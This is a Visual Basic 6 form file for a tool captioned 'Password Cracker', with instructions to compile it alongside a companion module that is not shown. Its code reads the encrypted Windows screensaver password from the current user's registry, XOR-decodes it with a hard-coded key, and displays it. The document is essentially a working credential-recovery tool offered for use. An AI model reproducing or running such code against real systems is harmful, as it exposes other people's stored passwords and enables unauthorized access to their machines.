ShowScreensaverpwd

'Save it as crackpwd.frm, add crackpwd.bas (the code above)
'and compile it!
'-------------- 8< Cut here----------------------------------------------------
VERSION 5.00
Begin VB.Form Form1 
  BackColor    =  &H00000000&
  BorderStyle   =  4 'Festes Werkzeugfenster
  Caption     =  "Password Cracker"
  ClientHeight  =  4905
  ClientLeft   =  45
  ClientTop    =  300
  ClientWidth   =  6855
  ForeColor    =  &H00FFFFFF&
  LinkTopic    =  "Form1"
  MaxButton    =  0  'False
  MinButton    =  0  'False
  ScaleHeight   =  4905
  ScaleWidth   =  6855
  ShowInTaskbar  =  0  'False
  StartUpPosition =  3 'Windows-Standard
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
Me.Show
 
Print
Print "Read Registry..."
Print
Print "Screensaver Password: " + Screensavepwd
 
End Sub
Function Screensavepwd() As String
'Dim's for the Registry
Dim lngType As Long, varRetString As Variant
Dim lngI As Long, intChar As Integer
'Dim's for the Password decoding
Dim Ciphertext As String, Key As String
Dim temp1 As String, temp2 As String
'Registry Path to the encrypted Password
varRetString = sdaGetRegEntry("HKEY_CURRENT_USER", _
  "Control Panel\desktop", "ScreenSave_Data", "1")
 
'the Encrypted Password
Ciphertext = varRetString
If Len(Ciphertext) <> 1 Then
Ciphertext = Left$(varRetString, Len(Ciphertext) - 1)
Print Ciphertext
'Micro$oft's "Secret" Key
Key = "48EE761D6769A11B7A8C47F85495975F414141"
 
'XOR every Ciphertextbyte with the Keybyte to get
'the plaintext
For i = 1 To Len(Ciphertext) Step 2
  
temp1 = Hex2Dez(Mid$(Ciphertext, i, 2))
temp2 = Hex2Dez(Mid$(Key, i, 2))
  
plaintext = plaintext + Chr(temp1 Xor temp2)
  
Next i
Screensavepwd = plaintext
Else
Screensavepwd = " no Password"
End If
End Function

Function Hex2Dez&(H$)
If Left$(H$, 2) <> "&H" Then
  H$ = "&H" + H$
End If
  
  Hex2Dez& = Val(H$)
End Function